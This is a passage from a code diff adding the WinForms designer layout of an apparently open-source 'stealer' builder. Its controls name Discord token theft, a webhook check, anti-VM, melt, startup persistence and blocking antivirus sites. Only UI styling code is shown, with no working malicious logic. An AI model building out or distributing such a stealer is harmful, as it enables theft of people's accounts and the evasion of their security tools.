21); + this.labelDiscordTokens.TabIndex = 2; + this.labelDiscordTokens.Text = "Discord Tokens"; + this.labelDiscordTokens.TextAlignment = System.Drawing.ContentAlignment.TopLeft; + this.labelDiscordTokens.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // chkDiscord + // + this.chkDiscord.AllowBindingControlAnimation = true; + this.chkDiscord.AllowBindingControlColorChanges = false; + this.chkDiscord.AllowBindingControlLocation = true; + this.chkDiscord.AllowCheckBoxAnimation = false; + this.chkDiscord.AllowCheckmarkAnimation = true; + this.chkDiscord.AllowOnHoverStates = true; + this.chkDiscord.AutoCheck = true; + this.chkDiscord.BackColor = System.Drawing.Color.Transparent; + this.chkDiscord.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("chkDiscord.BackgroundImage"))); + this.chkDiscord.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.chkDiscord.BindingControl = this.labelDiscordTokens; + this.chkDiscord.BindingControlPosition = Bunifu.UI.WinForms.BunifuCheckBox.BindingControlPositions.Right; + this.chkDiscord.BorderRadius = 5; + this.chkDiscord.Checked = true; + this.chkDiscord.CheckState = Bunifu.UI.WinForms.BunifuCheckBox.CheckStates.Checked; + this.chkDiscord.Cursor = System.Windows.Forms.Cursors.Default; + this.chkDiscord.CustomCheckmarkImage = null; + this.chkDiscord.Location = new System.Drawing.Point(38, 54); + this.chkDiscord.MinimumSize = new System.Drawing.Size(17, 17); + this.chkDiscord.Name = "chkDiscord"; + this.chkDiscord.OnCheck.BorderColor = System.Drawing.Color.White; + this.chkDiscord.OnCheck.BorderRadius = 5; + this.chkDiscord.OnCheck.BorderThickness = 2; + this.chkDiscord.OnCheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkDiscord.OnCheck.CheckmarkColor = System.Drawing.Color.White; + this.chkDiscord.OnCheck.CheckmarkThickness = 2; + this.chkDiscord.OnDisable.BorderColor = System.Drawing.Color.LightGray; + this.chkDiscord.OnDisable.BorderRadius = 5; + this.chkDiscord.OnDisable.BorderThickness = 2; + this.chkDiscord.OnDisable.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkDiscord.OnDisable.CheckmarkColor = System.Drawing.Color.LightGray; + this.chkDiscord.OnDisable.CheckmarkThickness = 2; + this.chkDiscord.OnHoverChecked.BorderColor = System.Drawing.Color.White; + this.chkDiscord.OnHoverChecked.BorderRadius = 5; + this.chkDiscord.OnHoverChecked.BorderThickness = 2; + this.chkDiscord.OnHoverChecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkDiscord.OnHoverChecked.CheckmarkColor = System.Drawing.Color.White; + this.chkDiscord.OnHoverChecked.CheckmarkThickness = 2; + this.chkDiscord.OnHoverUnchecked.BorderColor = System.Drawing.Color.White; + this.chkDiscord.OnHoverUnchecked.BorderRadius = 5; + this.chkDiscord.OnHoverUnchecked.BorderThickness = 1; + this.chkDiscord.OnHoverUnchecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkDiscord.OnUncheck.BorderColor = System.Drawing.Color.DarkGray; + this.chkDiscord.OnUncheck.BorderRadius = 5; + this.chkDiscord.OnUncheck.BorderThickness = 1; + this.chkDiscord.OnUncheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkDiscord.Size = new System.Drawing.Size(21, 21); + this.chkDiscord.Style = Bunifu.UI.WinForms.BunifuCheckBox.CheckBoxStyles.Bunifu; + this.chkDiscord.TabIndex = 1; + this.chkDiscord.ThreeState = false; + this.chkDiscord.ToolTipText = null; + this.chkDiscord.CheckedChanged += new System.EventHandler(this.CheckedChanged); + // + // btnModifyAssembly + // + this.btnModifyAssembly.AllowAnimations = true; + this.btnModifyAssembly.AllowMouseEffects = true; + this.btnModifyAssembly.AllowToggling = false; + this.btnModifyAssembly.AnimationSpeed = 200; + this.btnModifyAssembly.AutoGenerateColors = false; + this.btnModifyAssembly.AutoRoundBorders = false; + this.btnModifyAssembly.AutoSizeLeftIcon = true; + this.btnModifyAssembly.AutoSizeRightIcon = true; + this.btnModifyAssembly.BackColor = System.Drawing.Color.Transparent; + this.btnModifyAssembly.BackColor1 = System.Drawing.Color.Transparent; + this.btnModifyAssembly.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("btnModifyAssembly.BackgroundImage"))); + this.btnModifyAssembly.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnModifyAssembly.ButtonText = "Modify Assembly"; + this.btnModifyAssembly.ButtonTextMarginLeft = 0; + this.btnModifyAssembly.ColorContrastOnClick = 45; + this.btnModifyAssembly.ColorContrastOnHover = 45; + this.btnModifyAssembly.Cursor = System.Windows.Forms.Cursors.Default; + borderEdges9.BottomLeft = true; + borderEdges9.BottomRight = true; + borderEdges9.TopLeft = true; + borderEdges9.TopRight = true; + this.btnModifyAssembly.CustomizableEdges = borderEdges9; + this.btnModifyAssembly.DialogResult = System.Windows.Forms.DialogResult.None; + this.btnModifyAssembly.DisabledBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.btnModifyAssembly.DisabledFillColor = System.Drawing.Color.FromArgb(((int)(((byte)(204)))), ((int)(((byte)(204)))), ((int)(((byte)(204))))); + this.btnModifyAssembly.DisabledForecolor = System.Drawing.Color.FromArgb(((int)(((byte)(168)))), ((int)(((byte)(160)))), ((int)(((byte)(168))))); + this.btnModifyAssembly.FocusState = Bunifu.UI.WinForms.BunifuButton.BunifuButton.ButtonStates.Idle; + this.btnModifyAssembly.Font = new System.Drawing.Font("Segoe UI", 9F); + this.btnModifyAssembly.ForeColor = System.Drawing.Color.White; + this.btnModifyAssembly.IconLeftAlign = System.Drawing.ContentAlignment.MiddleLeft; + this.btnModifyAssembly.IconLeftCursor = System.Windows.Forms.Cursors.Default; + this.btnModifyAssembly.IconLeftPadding = new System.Windows.Forms.Padding(11, 3, 3, 3); + this.btnModifyAssembly.IconMarginLeft = 11; + this.btnModifyAssembly.IconPadding = 10; + this.btnModifyAssembly.IconRightAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btnModifyAssembly.IconRightCursor = System.Windows.Forms.Cursors.Default; + this.btnModifyAssembly.IconRightPadding = new System.Windows.Forms.Padding(3, 3, 7, 3); + this.btnModifyAssembly.IconSize = 25; + this.btnModifyAssembly.IdleBorderColor = System.Drawing.Color.White; + this.btnModifyAssembly.IdleBorderRadius = 1; + this.btnModifyAssembly.IdleBorderThickness = 1; + this.btnModifyAssembly.IdleFillColor = System.Drawing.Color.Transparent; + this.btnModifyAssembly.IdleIconLeftImage = null; + this.btnModifyAssembly.IdleIconRightImage = null; + this.btnModifyAssembly.IndicateFocus = false; + this.btnModifyAssembly.Location = new System.Drawing.Point(733, 476); + this.btnModifyAssembly.Margin = new System.Windows.Forms.Padding(6, 3, 6, 3); + this.btnModifyAssembly.Name = "btnModifyAssembly"; + this.btnModifyAssembly.OnDisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.btnModifyAssembly.OnDisabledState.BorderRadius = 1; + this.btnModifyAssembly.OnDisabledState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnModifyAssembly.OnDisabledState.BorderThickness = 1; + this.btnModifyAssembly.OnDisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(204)))), ((int)(((byte)(204)))), ((int)(((byte)(204))))); + this.btnModifyAssembly.OnDisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(168)))), ((int)(((byte)(160)))), ((int)(((byte)(168))))); + this.btnModifyAssembly.OnDisabledState.IconLeftImage = null; + this.btnModifyAssembly.OnDisabledState.IconRightImage = null; + this.btnModifyAssembly.onHoverState.BorderColor = System.Drawing.Color.White; + this.btnModifyAssembly.onHoverState.BorderRadius = 1; + this.btnModifyAssembly.onHoverState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnModifyAssembly.onHoverState.BorderThickness = 1; + this.btnModifyAssembly.onHoverState.FillColor = System.Drawing.Color.Gray; + this.btnModifyAssembly.onHoverState.ForeColor = System.Drawing.Color.Transparent; + this.btnModifyAssembly.onHoverState.IconLeftImage = null; + this.btnModifyAssembly.onHoverState.IconRightImage = null; + this.btnModifyAssembly.OnIdleState.BorderColor = System.Drawing.Color.White; + this.btnModifyAssembly.OnIdleState.BorderRadius = 1; + this.btnModifyAssembly.OnIdleState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnModifyAssembly.OnIdleState.BorderThickness = 1; + this.btnModifyAssembly.OnIdleState.FillColor = System.Drawing.Color.Transparent; + this.btnModifyAssembly.OnIdleState.ForeColor = System.Drawing.Color.White; + this.btnModifyAssembly.OnIdleState.IconLeftImage = null; + this.btnModifyAssembly.OnIdleState.IconRightImage = null; + this.btnModifyAssembly.OnPressedState.BorderColor = System.Drawing.Color.White; + this.btnModifyAssembly.OnPressedState.BorderRadius = 1; + this.btnModifyAssembly.OnPressedState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnModifyAssembly.OnPressedState.BorderThickness = 1; + this.btnModifyAssembly.OnPressedState.FillColor = System.Drawing.Color.Gray; + this.btnModifyAssembly.OnPressedState.ForeColor = System.Drawing.Color.Transparent; + this.btnModifyAssembly.OnPressedState.IconLeftImage = null; + this.btnModifyAssembly.OnPressedState.IconRightImage = null; + this.btnModifyAssembly.Size = new System.Drawing.Size(261, 60); + this.btnModifyAssembly.TabIndex = 2; + this.btnModifyAssembly.TabStop = false; + this.btnModifyAssembly.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + this.btnModifyAssembly.TextAlignment = System.Windows.Forms.HorizontalAlignment.Center; + this.btnModifyAssembly.TextMarginLeft = 0; + this.btnModifyAssembly.TextPadding = new System.Windows.Forms.Padding(0); + this.btnModifyAssembly.UseDefaultRadiusAndThickness = true; + this.btnModifyAssembly.Click += new System.EventHandler(this.btnModifyAssembly_Click); + // + // txtVersion + // + this.txtVersion.AllowParentOverrides = false; + this.txtVersion.AutoEllipsis = false; + this.txtVersion.Cursor = System.Windows.Forms.Cursors.Default; + this.txtVersion.CursorType = System.Windows.Forms.Cursors.Default; + this.txtVersion.Font = new System.Drawing.Font("Segoe UI", 9F); + this.txtVersion.ForeColor = System.Drawing.Color.White; + this.txtVersion.Location = new System.Drawing.Point(25, 570); + this.txtVersion.Name = "txtVersion"; + this.txtVersion.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.txtVersion.Size = new System.Drawing.Size(866, 15); + this.txtVersion.TabIndex = 3; + this.txtVersion.Text = "Note: This stealer is completely free and open source. If you have purchased it f" + + "rom someone, you have been scammed. Only download from the original repository."; + this.txtVersion.TextAlignment = System.Drawing.ContentAlignment.MiddleCenter; + this.txtVersion.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // btnIconSelect + // + this.btnIconSelect.AllowAnimations = true; + this.btnIconSelect.AllowMouseEffects = true; + this.btnIconSelect.AllowToggling = false; + this.btnIconSelect.AnimationSpeed = 200; + this.btnIconSelect.AutoGenerateColors = false; + this.btnIconSelect.AutoRoundBorders = false; + this.btnIconSelect.AutoSizeLeftIcon = true; + this.btnIconSelect.AutoSizeRightIcon = true; + this.btnIconSelect.BackColor = System.Drawing.Color.Transparent; + this.btnIconSelect.BackColor1 = System.Drawing.Color.Transparent; + this.btnIconSelect.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("btnIconSelect.BackgroundImage"))); + this.btnIconSelect.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnIconSelect.ButtonText = "Select Icon"; + this.btnIconSelect.ButtonTextMarginLeft = 0; + this.btnIconSelect.ColorContrastOnClick = 45; + this.btnIconSelect.ColorContrastOnHover = 45; + this.btnIconSelect.Cursor = System.Windows.Forms.Cursors.Default; + borderEdges10.BottomLeft = true; + borderEdges10.BottomRight = true; + borderEdges10.TopLeft = true; + borderEdges10.TopRight = true; + this.btnIconSelect.CustomizableEdges = borderEdges10; + this.btnIconSelect.DialogResult = System.Windows.Forms.DialogResult.None; + this.btnIconSelect.DisabledBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.btnIconSelect.DisabledFillColor = System.Drawing.Color.FromArgb(((int)(((byte)(204)))), ((int)(((byte)(204)))), ((int)(((byte)(204))))); + this.btnIconSelect.DisabledForecolor = System.Drawing.Color.FromArgb(((int)(((byte)(168)))), ((int)(((byte)(160)))), ((int)(((byte)(168))))); + this.btnIconSelect.FocusState = Bunifu.UI.WinForms.BunifuButton.BunifuButton.ButtonStates.Idle; + this.btnIconSelect.Font = new System.Drawing.Font("Segoe UI", 9F); + this.btnIconSelect.ForeColor = System.Drawing.Color.White; + this.btnIconSelect.IconLeftAlign = System.Drawing.ContentAlignment.MiddleLeft; + this.btnIconSelect.IconLeftCursor = System.Windows.Forms.Cursors.Default; + this.btnIconSelect.IconLeftPadding = new System.Windows.Forms.Padding(11, 3, 3, 3); + this.btnIconSelect.IconMarginLeft = 11; + this.btnIconSelect.IconPadding = 10; + this.btnIconSelect.IconRightAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btnIconSelect.IconRightCursor = System.Windows.Forms.Cursors.Default; + this.btnIconSelect.IconRightPadding = new System.Windows.Forms.Padding(3, 3, 7, 3); + this.btnIconSelect.IconSize = 25; + this.btnIconSelect.IdleBorderColor = System.Drawing.Color.White; + this.btnIconSelect.IdleBorderRadius = 1; + this.btnIconSelect.IdleBorderThickness = 1; + this.btnIconSelect.IdleFillColor = System.Drawing.Color.Transparent; + this.btnIconSelect.IdleIconLeftImage = null; + this.btnIconSelect.IdleIconRightImage = null; + this.btnIconSelect.IndicateFocus = false; + this.btnIconSelect.Location = new System.Drawing.Point(460, 476); + this.btnIconSelect.Margin = new System.Windows.Forms.Padding(6, 3, 6, 3); + this.btnIconSelect.Name = "btnIconSelect"; + this.btnIconSelect.OnDisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.btnIconSelect.OnDisabledState.BorderRadius = 1; + this.btnIconSelect.OnDisabledState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnIconSelect.OnDisabledState.BorderThickness = 1; + this.btnIconSelect.OnDisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(204)))), ((int)(((byte)(204)))), ((int)(((byte)(204))))); + this.btnIconSelect.OnDisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(168)))), ((int)(((byte)(160)))), ((int)(((byte)(168))))); + this.btnIconSelect.OnDisabledState.IconLeftImage = null; + this.btnIconSelect.OnDisabledState.IconRightImage = null; + this.btnIconSelect.onHoverState.BorderColor = System.Drawing.Color.White; + this.btnIconSelect.onHoverState.BorderRadius = 1; + this.btnIconSelect.onHoverState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnIconSelect.onHoverState.BorderThickness = 1; + this.btnIconSelect.onHoverState.FillColor = System.Drawing.Color.Gray; + this.btnIconSelect.onHoverState.ForeColor = System.Drawing.Color.Transparent; + this.btnIconSelect.onHoverState.IconLeftImage = null; + this.btnIconSelect.onHoverState.IconRightImage = null; + this.btnIconSelect.OnIdleState.BorderColor = System.Drawing.Color.White; + this.btnIconSelect.OnIdleState.BorderRadius = 1; + this.btnIconSelect.OnIdleState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnIconSelect.OnIdleState.BorderThickness = 1; + this.btnIconSelect.OnIdleState.FillColor = System.Drawing.Color.Transparent; + this.btnIconSelect.OnIdleState.ForeColor = System.Drawing.Color.White; + this.btnIconSelect.OnIdleState.IconLeftImage = null; + this.btnIconSelect.OnIdleState.IconRightImage = null; + this.btnIconSelect.OnPressedState.BorderColor = System.Drawing.Color.White; + this.btnIconSelect.OnPressedState.BorderRadius = 1; + this.btnIconSelect.OnPressedState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnIconSelect.OnPressedState.BorderThickness = 1; + this.btnIconSelect.OnPressedState.FillColor = System.Drawing.Color.Gray; + this.btnIconSelect.OnPressedState.ForeColor = System.Drawing.Color.Transparent; + this.btnIconSelect.OnPressedState.IconLeftImage = null; + this.btnIconSelect.OnPressedState.IconRightImage = null; + this.btnIconSelect.Size = new System.Drawing.Size(261, 60); + this.btnIconSelect.TabIndex = 2; + this.btnIconSelect.TabStop = false; + this.btnIconSelect.Tag = "NoIcon"; + this.btnIconSelect.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + this.btnIconSelect.TextAlignment = System.Windows.Forms.HorizontalAlignment.Center; + this.btnIconSelect.TextMarginLeft = 0; + this.btnIconSelect.TextPadding = new System.Windows.Forms.Padding(0); + this.btnIconSelect.UseDefaultRadiusAndThickness = true; + this.btnIconSelect.Click += new System.EventHandler(this.btnIconSelect_Click); + // + // btnBuild + // + this.btnBuild.AllowAnimations = true; + this.btnBuild.AllowMouseEffects = true; + this.btnBuild.AllowToggling = false; + this.btnBuild.AnimationSpeed = 200; + this.btnBuild.AutoGenerateColors = false; + this.btnBuild.AutoRoundBorders = false; + this.btnBuild.AutoSizeLeftIcon = true; + this.btnBuild.AutoSizeRightIcon = true; + this.btnBuild.BackColor = System.Drawing.Color.Transparent; + this.btnBuild.BackColor1 = System.Drawing.Color.Transparent; + this.btnBuild.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("btnBuild.BackgroundImage"))); + this.btnBuild.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnBuild.ButtonText = "Build"; + this.btnBuild.ButtonTextMarginLeft = 0; + this.btnBuild.ColorContrastOnClick = 45; + this.btnBuild.ColorContrastOnHover = 45; + this.btnBuild.Cursor = System.Windows.Forms.Cursors.Default; + borderEdges11.BottomLeft = true; + borderEdges11.BottomRight = true; + borderEdges11.TopLeft = true; + borderEdges11.TopRight = true; + this.btnBuild.CustomizableEdges = borderEdges11; + this.btnBuild.DialogResult = System.Windows.Forms.DialogResult.None; + this.btnBuild.DisabledBorderColor = System.Drawing.Color.Red; + this.btnBuild.DisabledFillColor = System.Drawing.Color.Transparent; + this.btnBuild.DisabledForecolor = System.Drawing.Color.White; + this.btnBuild.Enabled = false; + this.btnBuild.FocusState = Bunifu.UI.WinForms.BunifuButton.BunifuButton.ButtonStates.Pressed; + this.btnBuild.Font = new System.Drawing.Font("Segoe UI", 9F); + this.btnBuild.ForeColor = System.Drawing.Color.White; + this.btnBuild.IconLeftAlign = System.Drawing.ContentAlignment.MiddleLeft; + this.btnBuild.IconLeftCursor = System.Windows.Forms.Cursors.Default; + this.btnBuild.IconLeftPadding = new System.Windows.Forms.Padding(11, 3, 3, 3); + this.btnBuild.IconMarginLeft = 11; + this.btnBuild.IconPadding = 10; + this.btnBuild.IconRightAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btnBuild.IconRightCursor = System.Windows.Forms.Cursors.Default; + this.btnBuild.IconRightPadding = new System.Windows.Forms.Padding(3, 3, 7, 3); + this.btnBuild.IconSize = 25; + this.btnBuild.IdleBorderColor = System.Drawing.Color.Lime; + this.btnBuild.IdleBorderRadius = 1; + this.btnBuild.IdleBorderThickness = 1; + this.btnBuild.IdleFillColor = System.Drawing.Color.Transparent; + this.btnBuild.IdleIconLeftImage = null; + this.btnBuild.IdleIconRightImage = null; + this.btnBuild.IndicateFocus = false; + this.btnBuild.Location = new System.Drawing.Point(907, 559); + this.btnBuild.Name = "btnBuild"; + this.btnBuild.OnDisabledState.BorderColor = System.Drawing.Color.Red; + this.btnBuild.OnDisabledState.BorderRadius = 1; + this.btnBuild.OnDisabledState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnBuild.OnDisabledState.BorderThickness = 1; + this.btnBuild.OnDisabledState.FillColor = System.Drawing.Color.Transparent; + this.btnBuild.OnDisabledState.ForeColor = System.Drawing.Color.White; + this.btnBuild.OnDisabledState.IconLeftImage = null; + this.btnBuild.OnDisabledState.IconRightImage = null; + this.btnBuild.onHoverState.BorderColor = System.Drawing.Color.Lime; + this.btnBuild.onHoverState.BorderRadius = 1; + this.btnBuild.onHoverState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnBuild.onHoverState.BorderThickness = 1; + this.btnBuild.onHoverState.FillColor = System.Drawing.Color.Gray; + this.btnBuild.onHoverState.ForeColor = System.Drawing.Color.Transparent; + this.btnBuild.onHoverState.IconLeftImage = null; + this.btnBuild.onHoverState.IconRightImage = null; + this.btnBuild.OnIdleState.BorderColor = System.Drawing.Color.Lime; + this.btnBuild.OnIdleState.BorderRadius = 1; + this.btnBuild.OnIdleState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnBuild.OnIdleState.BorderThickness = 1; + this.btnBuild.OnIdleState.FillColor = System.Drawing.Color.Transparent; + this.btnBuild.OnIdleState.ForeColor = System.Drawing.Color.White; + this.btnBuild.OnIdleState.IconLeftImage = null; + this.btnBuild.OnIdleState.IconRightImage = null; + this.btnBuild.OnPressedState.BorderColor = System.Drawing.Color.Lime; + this.btnBuild.OnPressedState.BorderRadius = 1; + this.btnBuild.OnPressedState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnBuild.OnPressedState.BorderThickness = 1; + this.btnBuild.OnPressedState.FillColor = System.Drawing.Color.Transparent; + this.btnBuild.OnPressedState.ForeColor = System.Drawing.Color.White; + this.btnBuild.OnPressedState.IconLeftImage = null; + this.btnBuild.OnPressedState.IconRightImage = null; + this.btnBuild.Size = new System.Drawing.Size(87, 32); + this.btnBuild.TabIndex = 2; + this.btnBuild.TabStop = false; + this.btnBuild.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + this.btnBuild.TextAlignment = System.Windows.Forms.HorizontalAlignment.Center; + this.btnBuild.TextMarginLeft = 0; + this.btnBuild.TextPadding = new System.Windows.Forms.Padding(0); + this.btnBuild.UseDefaultRadiusAndThickness = true; + this.btnBuild.Click += new System.EventHandler(this.btnBuild_Click); + // + // btnCheckWebhook + // + this.btnCheckWebhook.AllowAnimations = true; + this.btnCheckWebhook.AllowMouseEffects = true; + this.btnCheckWebhook.AllowToggling = false; + this.btnCheckWebhook.AnimationSpeed = 200; + this.btnCheckWebhook.AutoGenerateColors = false; + this.btnCheckWebhook.AutoRoundBorders = false; + this.btnCheckWebhook.AutoSizeLeftIcon = true; + this.btnCheckWebhook.AutoSizeRightIcon = true; + this.btnCheckWebhook.BackColor = System.Drawing.Color.Transparent; + this.btnCheckWebhook.BackColor1 = System.Drawing.Color.Transparent; + this.btnCheckWebhook.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("btnCheckWebhook.BackgroundImage"))); + this.btnCheckWebhook.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnCheckWebhook.ButtonText = "Check"; + this.btnCheckWebhook.ButtonTextMarginLeft = 0; + this.btnCheckWebhook.ColorContrastOnClick = 45; + this.btnCheckWebhook.ColorContrastOnHover = 45; + this.btnCheckWebhook.Cursor = System.Windows.Forms.Cursors.Default; + borderEdges12.BottomLeft = true; + borderEdges12.BottomRight = true; + borderEdges12.TopLeft = true; + borderEdges12.TopRight = true; + this.btnCheckWebhook.CustomizableEdges = borderEdges12; + this.btnCheckWebhook.DialogResult = System.Windows.Forms.DialogResult.None; + this.btnCheckWebhook.DisabledBorderColor = System.Drawing.Color.Yellow; + this.btnCheckWebhook.DisabledFillColor = System.Drawing.Color.Transparent; + this.btnCheckWebhook.DisabledForecolor = System.Drawing.Color.White; + this.btnCheckWebhook.FocusState = Bunifu.UI.WinForms.BunifuButton.BunifuButton.ButtonStates.Pressed; + this.btnCheckWebhook.Font = new System.Drawing.Font("Segoe UI", 9F); + this.btnCheckWebhook.ForeColor = System.Drawing.Color.White; + this.btnCheckWebhook.IconLeftAlign = System.Drawing.ContentAlignment.MiddleLeft; + this.btnCheckWebhook.IconLeftCursor = System.Windows.Forms.Cursors.Default; + this.btnCheckWebhook.IconLeftPadding = new System.Windows.Forms.Padding(11, 3, 3, 3); + this.btnCheckWebhook.IconMarginLeft = 11; + this.btnCheckWebhook.IconPadding = 10; + this.btnCheckWebhook.IconRightAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btnCheckWebhook.IconRightCursor = System.Windows.Forms.Cursors.Default; + this.btnCheckWebhook.IconRightPadding = new System.Windows.Forms.Padding(3, 3, 7, 3); + this.btnCheckWebhook.IconSize = 25; + this.btnCheckWebhook.IdleBorderColor = System.Drawing.Color.Yellow; + this.btnCheckWebhook.IdleBorderRadius = 1; + this.btnCheckWebhook.IdleBorderThickness = 1; + this.btnCheckWebhook.IdleFillColor = System.Drawing.Color.Transparent; + this.btnCheckWebhook.IdleIconLeftImage = null; + this.btnCheckWebhook.IdleIconRightImage = null; + this.btnCheckWebhook.IndicateFocus = false; + this.btnCheckWebhook.Location = new System.Drawing.Point(907, 22); + this.btnCheckWebhook.Name = "btnCheckWebhook"; + this.btnCheckWebhook.OnDisabledState.BorderColor = System.Drawing.Color.Yellow; + this.btnCheckWebhook.OnDisabledState.BorderRadius = 1; + this.btnCheckWebhook.OnDisabledState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnCheckWebhook.OnDisabledState.BorderThickness = 1; + this.btnCheckWebhook.OnDisabledState.FillColor = System.Drawing.Color.Transparent; + this.btnCheckWebhook.OnDisabledState.ForeColor = System.Drawing.Color.White; + this.btnCheckWebhook.OnDisabledState.IconLeftImage = null; + this.btnCheckWebhook.OnDisabledState.IconRightImage = null; + this.btnCheckWebhook.onHoverState.BorderColor = System.Drawing.Color.Yellow; + this.btnCheckWebhook.onHoverState.BorderRadius = 1; + this.btnCheckWebhook.onHoverState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnCheckWebhook.onHoverState.BorderThickness = 1; + this.btnCheckWebhook.onHoverState.FillColor = System.Drawing.Color.Gray; + this.btnCheckWebhook.onHoverState.ForeColor = System.Drawing.Color.Transparent; + this.btnCheckWebhook.onHoverState.IconLeftImage = null; + this.btnCheckWebhook.onHoverState.IconRightImage = null; + this.btnCheckWebhook.OnIdleState.BorderColor = System.Drawing.Color.Yellow; + this.btnCheckWebhook.OnIdleState.BorderRadius = 1; + this.btnCheckWebhook.OnIdleState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnCheckWebhook.OnIdleState.BorderThickness = 1; + this.btnCheckWebhook.OnIdleState.FillColor = System.Drawing.Color.Transparent; + this.btnCheckWebhook.OnIdleState.ForeColor = System.Drawing.Color.White; + this.btnCheckWebhook.OnIdleState.IconLeftImage = null; + this.btnCheckWebhook.OnIdleState.IconRightImage = null; + this.btnCheckWebhook.OnPressedState.BorderColor = System.Drawing.Color.Yellow; + this.btnCheckWebhook.OnPressedState.BorderRadius = 1; + this.btnCheckWebhook.OnPressedState.BorderStyle = Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderStyles.Solid; + this.btnCheckWebhook.OnPressedState.BorderThickness = 1; + this.btnCheckWebhook.OnPressedState.FillColor = System.Drawing.Color.Transparent; + this.btnCheckWebhook.OnPressedState.ForeColor = System.Drawing.Color.White; + this.btnCheckWebhook.OnPressedState.IconLeftImage = null; + this.btnCheckWebhook.OnPressedState.IconRightImage = null; + this.btnCheckWebhook.Size = new System.Drawing.Size(87, 32); + this.btnCheckWebhook.TabIndex = 2; + this.btnCheckWebhook.TabStop = false; + this.btnCheckWebhook.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + this.btnCheckWebhook.TextAlignment = System.Windows.Forms.HorizontalAlignment.Center; + this.btnCheckWebhook.TextMarginLeft = 0; + this.btnCheckWebhook.TextPadding = new System.Windows.Forms.Padding(0); + this.btnCheckWebhook.UseDefaultRadiusAndThickness = true; + this.btnCheckWebhook.Click += new System.EventHandler(this.btnCheckWebhook_Click); + // + // grpBasic + // + this.grpBasic.BackColor = System.Drawing.Color.Black; + this.grpBasic.Controls.Add(this.labelBlockAvSites); + this.grpBasic.Controls.Add(this.chkBlockAvSites); + this.grpBasic.Controls.Add(this.labelMelt); + this.grpBasic.Controls.Add(this.chkMelt); + this.grpBasic.Controls.Add(this.labelAntiVm); + this.grpBasic.Controls.Add(this.chkAntiVm); + this.grpBasic.Controls.Add(this.labelAddToStartup); + this.grpBasic.Controls.Add(this.chkStartup); + this.grpBasic.Controls.Add(this.labelPing); + this.grpBasic.Controls.Add(this.chkPing); + this.grpBasic.ForeColor = System.Drawing.Color.White; + this.grpBasic.Location = new System.Drawing.Point(16, 82); + this.grpBasic.Margin = new System.Windows.Forms.Padding(6, 3, 6, 3); + this.grpBasic.Name = "grpBasic"; + this.grpBasic.Padding = new System.Windows.Forms.Padding(6, 3, 6, 3); + this.grpBasic.Size = new System.Drawing.Size(261, 370); + this.grpBasic.TabIndex = 1; + this.grpBasic.TabStop = false; + this.grpBasic.Text = "Basic"; + // + // labelBlockAvSites + // + this.labelBlockAvSites.AccessibleRole = System.Windows.Forms.AccessibleRole.CheckButton; + 